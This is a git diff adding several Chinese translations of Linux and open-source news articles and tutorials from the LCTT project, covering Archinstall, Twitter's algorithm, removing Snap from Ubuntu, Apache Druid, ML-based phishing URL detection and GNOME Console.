"https://news.itsfoss.com/archinstall-menu/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14536-1.html" + +Archinstall 新的菜单系统让安装 Arch Linux 更容易了 +====== + +> Archinstall 让人们更容易上手 Arch Linux,也应该可以为经验丰富的 Linux 用户节省时间。你觉得呢? + +![][1] + +去年的这个时候,Arch Linux [引入了一个引导式的安装程序][2],使其安装过程更加简单。 + +你只需要输入 `archinstall`,就可以开始一步步的安装,而不需要自己全部定制。 + +即使你不是新手用户,它应该也能为你正常安装 Arch Linux 节省一些时间。你可以配置所有基本选项,无论是创建普通用户或 root 用户,还是选择桌面、挑选软件包、选择音频服务器,等等。 + +如果你感兴趣的话,可以在我们的 [在 VirtualBox 里安装 Arch Linux 的指南][3] 中看看 Archinstall 的实际使用。 + +现在,Archinstall v2.4.1 已发布,我们有了新的菜单系统和大量的技术变化。 + +让我们来看看它是如何工作的吧! + +### 新菜单系统及无障碍改进 + +![][4] + +新的菜单系统看起来更有条理了。 + +它是以 [simple-term-menu][5] 为基础建立的,simple-term-menu 是一个用于在命令行中创建交互式菜单的软件包。为了避免外部依赖,它与源代码捆绑,这要归功于 Ingo Meyer(开发者)。 + +另外还得感谢其他开发者,其中包括 [Werner Llácer][6] 和 [Daniel][7],是他们编写了 1200 多行代码,才让这成为可能。 + +这个菜单系统也是无障碍的。你可以用数字键盘上的 `*` 把它切换到跟踪选择模式,这应该能让 espeakup 如预期的工作。 + +在 Archinstall 的未来版本中,它也会支持默认的跟踪模式。 + +在上面的截图中,你可能会注意到,它支持设置语言、键盘布局、内核、音频服务器、用户、网络和其他基本选项。 + +当你选择了硬盘后,菜单将增加另一个选项,让你选择一个“磁盘布局”,你可以在其中选择文件系统的类型。 + +![][8] + +同样,设置每一个选项时,你都可以调整更多细节,比如桌面环境的配置文件。 + +![][9] + +默认情况下,它会启用一个交换分区。不过,你可以根据你的需要进行调整。总的来说,这应该是一个顺滑的体验,所有的安装先决条件都以菜单形式呈现。 + +在此感谢我们团队中的 Sreenath,是他测试并提供了这些屏幕截图。 + +![][10] + +除了这些变化之外,你还可以期待以下改进: + + * 如果你选择 btrfs 作为文件系统,会添加一个 BTRFS 压缩选项。 + * Archinstall 现在支持同时进行多个网卡配置的手动配置。 + * 安装程序可以通过 `archinstall.Installer()` 跟踪哪些软件包已经安装完毕。 + +要查看所有的技术变化和错误修复,你可以参考 [GitHub 上的发布说明][11]。 + +**你可以等待最新的 ISO(计划在 5 月 1 日发布),或者从 GitHub 上下载并自己尝试。** + +你试过 Arch Linux 上的原来的安装向导吗?还是说,相较于使用安装程序,你更偏向于自己手动配置一切?请在评论区分享你的想法吧! + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/archinstall-menu/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://news.itsfoss.com/wp-content/uploads/2022/04/archinstall-new-menusystem-makes-easier-to-install.png +[2]: https://news.itsfoss.com/arch-linux-easy-install/ +[3]: https://itsfoss.com/install-arch-linux-virtualbox/ +[4]: https://news.itsfoss.com/wp-content/uploads/2022/04/archinstall-new-menu.png +[5]: https://github.com/IngoMeyer441/simple-term-menu +[6]: https://github.com/wllacer +[7]: https://github.com/svartkanin +[8]: https://news.itsfoss.com/wp-content/uploads/2022/04/archinstall-filesystem.jpg +[9]: https://news.itsfoss.com/wp-content/uploads/2022/04/archinstall-profiles-1024x226.jpg +[10]: https://news.itsfoss.com/wp-content/uploads/2022/04/archinstall-config.png +[11]: https://github.com/archlinux/archinstall/releases/tag/v2.4.1 diff --git a/published/202205/20220428 Elon Musk’s Plan To Open Source The Twitter Algorithm Has Flaws.md b/published/202205/20220428 Elon Musk’s Plan To Open Source The Twitter Algorithm Has Flaws.md new file mode 100644 index 0000000000..708c4972da --- /dev/null +++ b/published/202205/20220428 Elon Musk’s Plan To Open Source The Twitter Algorithm Has Flaws.md @@ -0,0 +1,48 @@ +[#]: subject: "Elon Musk’s Plan To Open Source The Twitter Algorithm Has Flaws" +[#]: via: "https://www.opensourceforu.com/2022/04/elon-musks-plan-to-open-source-the-twitter-algorithm-has-flaws/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14540-1.html" + +埃隆·马斯克开源推特算法的计划存在缺陷 +====== + +![推特][1] + +报道称,在推特确认接受收购请求的几个小时后,埃隆·马斯克就明确表示了他对推特的期望。马斯克在一份新闻稿中罗列了他计划做出的重大改变,包括开源“决定用户在推流中看到什么”的算法。 + +马斯克希望开源推特的算法,是因为他长期以来一直担心该平台有可能进行政治压制。但老实说,即便开源,也不可能达到他的预期效果。专家们担心,这可能反而带来一连串意想不到的问题。 + +虽然马斯克对权威深恶痛绝,但是他对算法开源的野心和世界各地立法者的愿望不谋而合。近年来,许多政府都将这一原则作为打击大科技公司的基石。 + +英国社交媒体监管机构 Ofcom 的首席执行官 Melanie Dawes 曾表示,社交媒体公司应当解释其代码的运作方式。此外,欧盟新近通过的《数字服务法案Digital Services Act(DSA)》于 4 月 23 日获得批准,该法案将责成平台提供更多的公开性。2022 年 2 月,美国的民主党参议员提交了《算法问责法案Algorithmic Accountability Act(AAA)》的立法申请。这些法案的目标是加强算法的透明度和监督,包括我们在社交媒体上的“时间轴timeline”和“新闻流news feed”以及我们生活的其他方面。 + +允许竞争者看到并修改推特的算法,可能意味着有人会偷取源代码,并提供一个改名的版本。互联网的许多部分都运行在开源软件上,其中最著名的就是 OpenSSL,这是一个被大量在线使用的安全工具包,而它在 2014 年被黑客攻击了。 + +还有一些已经创建的开源社交网络。Mastodon 是一个微博网络,为回应对 Twitter 主导地位的担忧而创建。它允许用户检查其代码,这些代码可在 GitHub 软件仓库中找到。 + +然而,阅读一个算法背后的代码,并不总能告诉你它的工作方式,而且对于大部分普通人来说,它也提供不了足够的关于公司组织架构以及开发流程的信息。 + +Jonathan Gray 是伦敦国王学院/关键基础设施研究的高级讲师,他说:“这有点像只用遗传物质来理解古代生物。是的,它能告诉我们的信息比任何方式都多,但如果说我们因此了解它们的生活方式,那就太夸张了。” + +推特同样也不是由单一算法控制的。Catherine Flick 是英国德蒙福特大学/研究计算和社会责任的研究员,她说:“其中一些会决定人们在他们的“时间轴”上看到什么趋势、内容或者推荐关注的人。调节用户“时间轴”上显示哪些信息的算法,将会是人们最感兴趣的。然而,即使如此,如果缺少训练数据,单纯开源算法也没多大用处。” + +Cobbe 认为,开源推特算法的危害大于好处。因为计算机代码并没有透露算法是如何开发或评估的:有哪些元素或考虑、在这个过程中的优先级是什么等等。所以开源可能不会使推特的透明度发生重大变化。反而,它可能会带来严重的安全隐患。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/04/elon-musks-plan-to-open-source-the-twitter-algorithm-has-flaws/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/04/twiiter-696x392.jpg diff --git a/published/202205/20220428 How to Remove Snap Packages in Ubuntu Linux.md b/published/202205/20220428 How to Remove Snap Packages in Ubuntu Linux.md new file mode 100644 index 0000000000..a4dc0787df --- /dev/null +++ b/published/202205/20220428 How to Remove Snap Packages in Ubuntu Linux.md @@ -0,0 +1,183 @@ +[#]: subject: "How to Remove Snap Packages in Ubuntu Linux" +[#]: via: "https://www.debugpoint.com/2022/04/remove-snap-ubuntu/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "hwlife" +[#]: reviewer: "turbokernel, wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14567-1.html" + +怎样在 Ubuntu Linux 中移除 Snap 软件包 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/09/103449pfqp2yp2rpzgp92l.jpg) + +> 这是一篇关于在 Ubuntu Linux 系统中如何删除 Snap,以得到一个无 Snap 系统的教程。 + +由 Canonical 开发的 Snap 软件包在一些场景下是有益的。它为终端用户直接提供了轻便且快速的程序更新。不仅如此,它还有其他的好处,比如它打包了所有依赖包,并允许安装同一个应用的多个版本。此外,它运行在沙盒模式,提供了安全和其他方面的好处。 + +在这些好处中, Snap 技术也有一些地方备受争论。举个例子,几乎所有使用 Snap 软件包的用户都说它的性能较差,包括它的启动时间要比本地 deb 或者 RPM 软件包时间要长。另外,由于它的设计,程序安装的体积巨大,浪费磁盘空间,因为它打包了所有用到的依赖包。 + +不仅如此,由于沙盒的天然属性,Snap 程序可能无法访问你的 Linux 桌面的几个部分,除非提供了适当的权限。 + +这个指南阐述了你如何从 Ubuntu 系统中完全移除 Snap。 + +这些步骤在 [Ubuntu 22.04 LTS Jammy Jellyfish][1] 中进行了测试。然而,它应该也适用于所有的 Ubuntu 系统版本。 + +> **警告:这些步骤将会移除 Ubuntu 系统中两个关键的程序:软件商店和 Firefox。尝试这些步骤之前确认你已经对书签和 Firefox 的其它设置做了备份。** + +### 在 Ubuntu Linux 移除 Snap 软件包 + +1、在你的系统中打开一个终端,使用以下命令查看已经安装的 Snap 软件包的列表。它显示了 Snap 软件包,比如 Firefox,软件商店,主题以及其它默认已经安装的核心软件包。 + +``` +snap list +``` + +![ Ubuntu Snap 包列表][2] + +2、按照以下的顺序移除 Snap 软件包。首先移除 Firefox。然后是软件商店,和用以上命令看到的你的系统中的其它软件包。 + +``` +sudo snap remove --purge firefox +sudo snap remove --purge snap-store +sudo snap remove --purge gnome-3-38-2004 +``` + +``` +sudo snap remove --purge gtk-common-themes +sudo snap remove --purge snapd-desktop-integration +sudo snap remove --purge bare +sudo snap remove --purge core20 +sudo snap remove --purge snapd +``` + +3、最后,通过 `apt` 命令移除 Snap 服务。 + +``` +sudo apt remove --autoremove snapd +``` + +![移除 Snap 包和其它][3] + +这还没完,即使你用以上命令移除了 Snap 软件包,但是如果你没有关闭 apt 触发器,`sudo apt update` 命令会再一次将 Snap 安装回来。 + +4、所以,要关闭它,我们需要在 `/etc/apt/preferences.d/` 目录下创建一个 apt 设置文件 `nosnap.pref` 来关闭 Snap 服务。 + +``` +sudo gedit /etc/apt/preferences.d/nosnap.pref +``` + +5、添加以下的命令行,并保存该文件。 + +``` +Package: snapd +Pin: release a=* +Pin-Priority: -10 +``` + +![创建设置文件][4] + +如果你知道如何使用它,那么这个 apt 设置文件是一个潜在的工具。举个例子,在以上的状态中,`Pin-Priority -10` 意思就是阻止 Snap 软件包的安装。 + +与这个教程不相关的,举个例子,如果你想给所有发行版代号为 “bulleye” 的软件包超高优先权的话,那么就可以查看这些设置文件。如果你想了解更多,你可以访问 [apt 手册页][5]。 + +``` +Package: * +Pin: release n=bullseye +Pin-Priority: 900 +``` + +6、回到我们的主题,一旦你已经保存和关闭以上文件,从终端中再次运行以下命令。 + +``` +sudo apt update +``` + +7、最后,从 Ubuntu 中移除 Snap 的步骤全部完成。 + +### 从 Ubuntu 移除 Snap 后使用 deb 文件安装软件商店和 Firefox + +你已经移除了 Firefox 和软件商店,但是你的工作还需要它们。 + +要安装 apt 版的 GNOME 软件商店,你可以使用以下命令。确保使用 `--install-suggests` 参数。否则,将会再次安装上 Snap 版本的软件包管理器! + +``` +sudo apt install --install-suggests gnome-software +``` + +要安装 Firefox,通过以下命令使用官方 PPA 仓库。 + +``` +sudo add-apt-repository ppa:mozillateam/ppa +sudo apt update +sudo apt install -t 'o=LP-PPA-mozillateam' firefox +``` + +![添加 PPA 仓库][7] + +![从 PPA 仓库以 deb 文件形式安装 Firefox][8] + +一旦你已经安装完 Firefox,使用以下命令开启自动更新。要了解更多,[访问此页][9]。 + +``` +echo 'Unattended-Upgrade::Allowed-Origins:: "LP-PPA-mozillateam:${distro_codename}";' | sudo tee /etc/apt/apt.conf.d/51unattended-upgrades-firefox +``` + +最后但同样重要,当运行 `apt` 时,为 Firefox 创建另一个设置文件给予以上 PPA 仓库超高优先权。如果你不这么做,`apt update` 命令会再次安装 Snap 版本 Firefox,并把它的“ Snap 朋友们”带回来 😂😂😂。 + +``` +sudo gedit /etc/apt/preferences.d/mozillateamppa +``` + +最后,添加这些命令行并保存文件。 + +``` +Package: firefox* +Pin: release o=LP-PPA-mozillateam +Pin-Priority: 501 +``` + +完成。 + +### 在 Ubuntu 系统恢复到 Snap 软件包 + +如果你改变想法,移除该设置文件,并通过以下命令再次启动安装程序。 + +``` +sudo rm /etc/apt/preferences.d/nosnap.pref +sudo apt update && sudo apt upgrade +sudo snap install snap-store +sudo apt install firefox +``` + +### 总结 + +关于在 Ubuntu 下移除 Snap 软件包做个总结,我想说的是这些处理 Snap 软件包的方法实属无奈。主要是这对新用户来说很困难。我希望这个指南能帮助你处理好 Snap 软件包。完结撒花。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/04/remove-snap-ubuntu/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[hwlife](https://github.com/hwlife) +校对:[turbokernel](https://github.com/turbokernel), [wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://www.debugpoint.com/2022/01/ubuntu-22-04-lts/ +[2]: https://www.debugpoint.com/wp-content/uploads/2022/04/Snap-list-in-Ubuntu.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2022/04/remove-snap-and-others-1024x544.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/04/create-a-pref-file.jpg +[5]: https://manpages.ubuntu.com/manpages/focal/man5/apt_preferences.5.html +[6]: https://www.debugpoint.com/2016/07/how-to-install-and-use-snap-packages-in-ubuntu/ +[7]: https://www.debugpoint.com/wp-content/uploads/2022/04/Add-the-PPA-1024x550.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2022/04/Install-Firefox-as-deb-file-from-PPA-1024x548.jpg +[9]: https://www.debugpoint.com/2021/09/remove-firefox-snap-ubuntu/ +[10]: https://t.me/debugpoint +[11]: https://twitter.com/DebugPoint +[12]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[13]: https://facebook.com/DebugPoint diff --git a/published/202205/20220428 Why use Apache Druid for your open source analytics database.md b/published/202205/20220428 Why use Apache Druid for your open source analytics database.md new file mode 100644 index 0000000000..cda559a86e --- /dev/null +++ b/published/202205/20220428 Why use Apache Druid for your open source analytics database.md @@ -0,0 +1,83 @@ +[#]: subject: "Why use Apache Druid for your open source analytics database" +[#]: via: "https://opensource.com/article/22/4/apache-druid-open-source-analytics" +[#]: author: "David Wang https://opensource.com/users/davidwang" +[#]: collector: "lkxed" +[#]: translator: "unigeorge" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14608-1.html" + +为什么推荐开源分析数据库 Apache Druid +====== + +> 对用户而言,优秀的对外数据分析工具非常关键,因此选择合适的数据架构就显得尤为重要。 + +![](https://img.linux.net.cn/data/attachment/album/202205/18/154417bvakcquzn2ahv4ua.jpg) + +现如今,数据分析不再是仅面向内部开发人员。当为业务方构建数据分析系统时,你需要确认哪种数据库后端是最合适的。 + +程序员的本能可能是“选用自己了解的数据库(例如 PostgreSQL 或 [MySQL][2])”。数据仓库也可能会扩展核心的 BI 仪表板和报告之外的功能,不过对业务方的数据分析支持仍是其重要功能之一,因此要选择合适的工具来保证此功能的性能。 + +问题的关键点在于用户体验,以下是对外支持数据分析工作的一些关键技术讨论点(以 Apache Druid 为例)。 + +### 低延迟特性 + +一直在队列中等待查询会让人很恼火。与延迟有关的因素包括数据量、数据库的处理能力、用户和 API 调用的数量,以及数据库支持查询应用的能力。 + +当数据量比较大时,有一些方法可以基于任意在线分析处理(OLAP)数据库构建交互式数据体验,但或多或少都有一些其他方面的牺牲。预计算查询会对性能要求较高,还会使架构变得僵化。预聚合处理会使数据粒度变大。将数据时间限制在近期的处理方式,会使得数据完整性得不到保证。 + +一个“不妥协”的解决方案是选择专为大规模交互而构建的优化架构和数据格式,[Apache Druid][3] 正是这样一个旨在支持现代分析程序的实时数据库。 + +* 首先,Druid 具备特有的分布式弹性架构,可将数据从共享数据层预取到近乎无限容量的数据服务器集群中。这种架构与诸如云数据仓库这样的解耦查询引擎相比,具有更快的性能,因为它不需要移动数据,并且比像 PostgreSQL 和 MySQL 这样的纵向扩展数据库具有更高的可扩展性。 +* 其次,Druid 采用内置于数据格式中的自动多级索引来驱动每个内核去支持更多查询操作。在常规 OLAP 列格式基础之上,还增加了全局索引、数据字典和位图索引,这可以最大化利用 CPU 周期,加快处理速度。 + +### 高可用性 + +如果开发团队为内部报告搭建了一个后端,那么中断几分钟甚至更长时间真的很严重吗?实际上并不是的。所以在典型 OLAP 数据库和数据仓库中,计划外的停机和维护是可以允许的。 + +但是如果你们团队构建了一个对外的供客户使用的分析应用程序,如果发生数据中断,会严重影响客户满意度、收入,当然还有你的周末休息时间。这就是为什么弹性(高可用性和数据持久性)需要成为对外分析应用程序数据库中的首要考虑因素。 + +考虑弹性就需要考虑设计标准。节点或集群范围的故障能完全避免吗?丢失数据的后果有多严重?保障应用程序和数据需要涉及哪些工作? + +关于服务器故障,保证弹性的常规方法是多节点服务以及 [备份机制][4]。但如果你是为客户构建应用程序,则对数据丢失的敏感性要高得多。*偶尔的*备份并不能完全解决这一问题。 + +Apache Druid 的核心架构内置了该问题的解决方案,本质是一种强大而简单的弹性方法,旨在保证承受任何变故都不会丢失数据(即使是刚刚发生的事件)。 + +Druid 基于对象存储中共享数据的自动、多级复制实现高可用性(HA)和持久性。它实现了用户期望的 HA 特性以及持续备份机制,即使整个集群出现问题,也可以自动保护和恢复数据库的最新状态。 + +### 多用户 + +一个好的应用应该同时兼备大用户量和“引人入胜”的体验,因此为高并发构建后端非常重要。你肯定不想看到因为应用挂掉而让客户沮丧。内部报告的架构不必考虑这点,因为并发用户数量要小得多且有限。所以现实是,用于内部报告的数据库可能并不适合高并发应用程序。 + +为高并发构建数据库主要在于取得 CPU 使用率、可伸缩性和成本之间的平衡点。解决并发问题的通常做法是投入更多硬件成本。逻辑上说,只要增加 CPU 的数量,就能够同时进行更多的查询操作。虽然事实确实如此,但成本的增加是不可忽视的。 + +更好的方法还是使用像 Apache Druid 这样的数据库,它具有优化的存储和查询引擎,可以降低 CPU 使用率。我们强调的关键词是“优化”。数据库不应该读取它不需要的数据。Apache Druid 可以让基础设施在同一时间跨度内为更多查询操作提供服务。 + +节省成本是开发人员使用 Apache Druid 构建外部分析应用程序的一个重要原因。Apache Druid 具有高度优化的数据格式,结合了从搜索引擎世界借鉴来的多级索引以及数据缩减算法,可以最大限度地减少所需的处理量。 + +最终表现就是 Apache Druid 提供了其他数据库不可比拟的处理效率。它可以支持每秒数十到数千跨度的 TB 甚至 PB 级别的查询。 + +### 着眼当下,预见未来 + +分析应用程序对于用户而言至关重要,所以要构建正确的数据架构。 + +你肯定不想一开始就选择了一个错误的数据库,然后在后续扩展时面对诸多令人头疼的问题。幸运的是,Apache Druid 可以从小规模开始,并在之后轻松扩展以支持任何可以想象的应用程序。Apache Druid 有 [优秀的官方文档][5],当然它是开源的,所以不妨尝试一下并,快速上手吧。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/4/apache-druid-open-source-analytics + +作者:[David Wang][a] +选题:[lkxed][b] +译者:[unigeorge](https://github.com/unigeorge) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/davidwang +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/metrics_data_dashboard_system_computer_analytics.png +[2]: https://opensource.com/downloads/mariadb-mysql-cheat-sheet +[3]: https://druid.apache.org/ +[4]: https://opensource.com/article/19/3/backup-solutions +[5]: https://druid.apache.org/docs/latest/design/ diff --git a/published/202205/20220429 Detect a Phishing URL Using Machine Learning in Python.md b/published/202205/20220429 Detect a Phishing URL Using Machine Learning in Python.md new file mode 100644 index 0000000000..1115910d61 --- /dev/null +++ b/published/202205/20220429 Detect a Phishing URL Using Machine Learning in Python.md @@ -0,0 +1,92 @@ +[#]: subject: "Detect a Phishing URL Using Machine Learning in Python" +[#]: via: "https://www.opensourceforu.com/2022/04/detect-a-phishing-url-using-machine-learning-in-python/" +[#]: author: "Jishnu Saurav Mittapalli https://www.opensourceforu.com/author/jishnu-saurav-mittapalli/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14535-1.html" + +在 Python 中使用机器学习来检测钓鱼链接 +====== + +在网络钓鱼攻击中,用户会收到一封带有误导性链接的邮件或信息,攻击者可以利用它来收集重要数据,比如你的银行卡密码。本文将会给出一个简短的教程,旨在介绍如何检测这种网络钓鱼的企图。 + +![](https://img.linux.net.cn/data/attachment/album/202205/02/180603k231bbvubv3b23u6.jpg) + +通过网络钓鱼攻击,攻击者能够获得一些重要凭证,这些凭证可以用来进入你的银行或其他金融账户。攻击者发送的 URL 看起来与我们日常使用的原始应用程序完全相同。这也是人们经常相信它,并在其中输入个人信息的原因。钓鱼网址可以打开一个网页,它看起来与你的银行的原始登录页面相似。最近,这样的网络钓鱼攻击正变得相当普遍,所以,检测钓鱼链接变得非常重要。因此,我将介绍如何在 Python 中使用机器学习来检查一个链接是误导性的还是真实的,因为它可以帮助我们看到网页代码及其输出。注意,本文将使用 Jupyter Notebook。当然,你也可以使用 Google Colab 或 Amazon Sagemaker,如果你对这些更熟悉的话。 + +### 下载数据集 + +第一步,我们需要用于训练数据集。你可以从下面的链接中下载数据集。 + +* 真实的链接:https://github.com/jishnusaurav/Phishing-attack-PCAP-analysis-using-scapy/blob/master/Phishing-Website-Detection/datasets/legitimate-urls.csv +* 钓鱼链接:https://github.com/jishnusaurav/Phishing-attack-PCAP-analysis-using-scapy/blob/master/Phishing-Website-Detection/datasets/phishing-urls.csv + +### 训练机器进行预测 + +当数据集下载完成,我们需要使用以下几行代码来导入所需的库: + +``` +import pandas as pd +from sklearn.ensemble import RandomForestClassifier +``` + +如果你没有这些库,你可以使用 `pip` 工具来安装这些库,如下图所示: + +![使用 pip 工具安装依赖库][2] + +当依赖安装完成,你就可以导入数据集,并将其转换为 `pandas` 数据框架,使用以下几行代码进一步处理: + +``` +legitimate_urls = pd.read_csv(“/home/jishnusaurav/jupyter/Phishing-Website-Detection/datasets/legitimate-urls.csv”) +phishing_urls = pd.read_csv(“/home/jishnusaurav/jupyter/Phishing-Website-Detection/datasets/phishing-urls.csv”) +``` + +在成功导入后,我们需要把这两个数据集合并,以便形成一个数据集。合并后的数据集的前几行如下图所示: + +![合并后的数据集的前几行][3] + +然后去掉那些我们不需要的列,如路径(`path`)、协议(`protocol`)等,以达到预测的目的: + +``` +urls = urls.drop(urls.columns[[0,3,5]],axis=1) +``` + +在这之后,我们需要使用以下代码将数据集分成测试和训练两部分: + +``` +data_train, data_test, labels_train, labels_test = train_test_split(urls_without_labels, labels, test_size=0.30, random_state=110) +``` + +接着,我们使用 `sklearn` 的随机森林分类器建立一个模型,然后使用 `fit` 函数来训练这个模型。 + +``` +random_forest_classifier = RandomForestClassifier() +random_forest_classifier.fit(data_train,labels_train) +``` + +完成这些后,我们就可以使用 `predict` 函数来最终预测哪些链接是钓鱼链接。下面这行可用于预测: + +``` +prediction_label = random_forest_classifier.predict(test_data) +``` + +就是这样啦!你已经建立了一个机器学习模型,它可以预测一个链接是否是钓鱼链接。试一下吧,我相信你会满意的! + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/04/detect-a-phishing-url-using-machine-learning-in-python/ + +作者:[Jishnu Saurav Mittapalli][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/jishnu-saurav-mittapalli/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/03/phishing-attack-696x477.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/03/Figure-1-First-few-lines-of-the-data-set.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/03/Figure-2-Installing-libraries.jpg diff --git a/published/202205/20220430 Hands On With GNOME’s New Terminal for Linux Users.md b/published/202205/20220430 Hands On With GNOME’s New Terminal for Linux Users.md new file mode 100644 index 0000000000..6e2984b1e5 --- /dev/null +++ b/published/202205/20220430 Hands On With GNOME’s New Terminal for Linux Users.md @@ -0,0 +1,144 @@ +[#]: subject: "Hands On With GNOME’s New Terminal for Linux Users" +[#]: via: "https://itsfoss.com/gnome-console/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14595-1.html" + +GNOME 新终端程序尝鲜 +====== + +几天前,我分享了我 [对新 GNOME 文本编辑器的体验][1],它是原编辑器 Gedit 的替代品。 + +但它并不是唯一的应用程序替代品。GNOME 42 还有一个新的终端,叫做 [控制台][2]Console。 + +让我来分享一下 GNOME 提供的这个新终端的新功能,以及它的使用体验吧! + +### 控制台:GNOME 的新终端模拟器 + +这个新应用程序的目标是提供一个“简单的、用户友好的终端模拟器”。它确实“简单”,因为它没有提供以往 GNOME 终端下用户习惯的许多功能。 + +后面我会继续谈这个话题。让我们先看看 GNOME 控制台的新功能。 + +#### 桌面通知 + +Ubuntu 上的 GNOME 终端从来没有这个功能,不过我在 elementary 和 Fedora 等发行版中看到过。 + +这是一个很方便的功能,当一个长期运行的命令执行完毕时,终端会发送一个桌面通知。 + +![GNOME 控制台的通知][3] + +如果你在命令正在运行的同时,需要做其他事情,那么得到命令完成的通知有助于你保持工作效率。 + +#### 进行 root 和 SSH 操作时改变窗口颜色 + +这很可能是我在其他终端程序中没有见过的独特功能。 + +当你用 `sudo` 运行命令或 [切换到 root 用户][4] 时,应用程序窗口会变成红色。 + +![GNOME 控制台在使用 sudo 或 root 用户时变成红色][5] + +我想它的目的是警告用户他们正在使用高级权限,因此在运行命令时要小心。 + +同样,如果你使用 SSH 连接到一个远程服务器,终端应用程序窗口的颜色会变成紫色。 + +![GNOME 控制台在 SSH 连接时变成紫色][5a] + +这也是提醒用户命令正在远程 Linux 机器上运行,而不是在本地机器上运行的好方法。 + +#### 主题 + +遵循新的设计准则,控制台提供了三种主题:浅色、深色和跟随系统。 + +![GNOME 控制台主题][6] + +控制台默认使用系统主题,它根据你的操作系统的深浅主题而改变终端配色。你也可以单独使用控制台的浅色/深色主题,而不用改变系统主题。 + +关于主题的内容差不多就这些。你可以进行的 [终端定制][7] 并不多。 + +### 关闭终端窗口时更好的警告 + +当你试图关闭一个仍在运行的命令时,老的 GNOME 终端也会显示一个警告。 + +![旧版 GNOME 终端中的警告][7a] + +这个警告在新的 GNOME 控制台中稍好一些,因为它也会显示正在运行的命令。 + +![新版 GNOME 控制台中的警告][7b] + +#### 透明界面 + +GNOME 控制台默认有一个透明界面。在正常模式下,你可以透过它看到一点背景。 + +例如,你可以看到背景程序中的一些模糊的文字。 + +![GNOME 控制台的透明界面][8] + +我注意到,当控制台进入全屏模式时,界面不再透明。而且,你无法配置透明度。 + +#### 其他功能 + +谢天谢地,你可以在控制台中使用标签。 + +![标签式界面][9] + +你可以执行与以往 GNOME 终端一样的搜索操作。 + +![GNOME 控制台中的搜索操作][10] + +它没有太多的选项。汉堡菜单hamburger menu让你一眼就能看到所有可用的键盘快捷键。 + +![GNOME 控制台中的键盘快捷键][11] + +以上就是关于 GNOME 控制台的一切。 + +### 在 Ubuntu 22.04 上安装 GNOME 控制台 + +如果你的发行版使用了原版 GNOME 42,那么它应该默认提供了新终端。 + +尽管 Ubuntu 22.04 使用的是 GNOME 42,但它仍然使用旧的 GNOME 终端。不过,你可以使用下面的命令来安装新的控制台。 + +``` +sudo apt install gnome-console +``` + +### 总结 + +你可能会想,既然我们已经有了一个更好的、功能更强的 GNOME 终端,为什么还要开发一个新的控制台呢?这是因为 GNOME 有了新的设计指南。改造这些应用程序的旧代码库太复杂了,可能也不大划算,从头开始写反而会更容易,因此你会看到更多的“新的” GNOME 应用程序,如控制台和文本编辑器。 + +由于这个新的应用程序的目标是让事情更简单,因此它没有提供很多功能。你不能定制它,改变颜色、字体等。由于不支持定制,所以也不需要配置文件。 + +对于很少使用终端的人来说,控制台已经够用了。不过,我认为应该增加在输入密码时显示星号的功能。其他 [面向初学者的发行版][12],如 Mint,就使用了这个功能,从而避免对 Linux 新手用户造成困扰。 + +你如何看待这个新的 GNOME 控制台,以及这种创建“新的 GNOME 应用程序”的方式呢?欢迎在下方评论区发表你的看法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/gnome-console/ + 